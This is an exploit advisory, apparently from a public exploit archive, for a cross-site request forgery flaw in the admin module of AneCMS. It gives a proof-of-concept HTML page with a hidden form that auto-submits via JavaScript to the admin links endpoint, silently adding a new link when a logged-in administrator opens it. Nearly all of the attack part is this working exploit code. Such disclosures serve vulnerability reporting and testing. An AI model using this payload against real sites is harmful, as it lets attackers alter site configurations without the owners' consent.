1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
======================================================================= AneCMS CSRF Vulnerability ======================================================================= by Pratul Agrawal # Vulnerability found in- Admin module # email Pratulag@yahoo.com # company aksitservices # Credit by Pratul Agrawal # SoftwareAne_CMS # Category CMS / Portals # Plateform php #Proof of concept # Targeted URL:http://server/acp/index.php?p=cfg&m=links Script to Add a new link through Cross Site request forgery ................................................................................................................. <html> <body> <form name="XYZ" action="http://server/acp/index.php?p=cfg&m=links&id=0" method="post"> <input type=hidden name="name" value="master"> <input type=hidden name="link" value="master.asp"> <input type=hidden name="type" value="1"> <input type=hidden name="view" value="0"> </form> <script> document.XYZ.submit(); </script> </body> </html> ................................................................................................................... After execution refresh the page and u can see that a new link with teh given name is Added automatically. #If you have any questions, comments, or concerns, feel free to contact me. |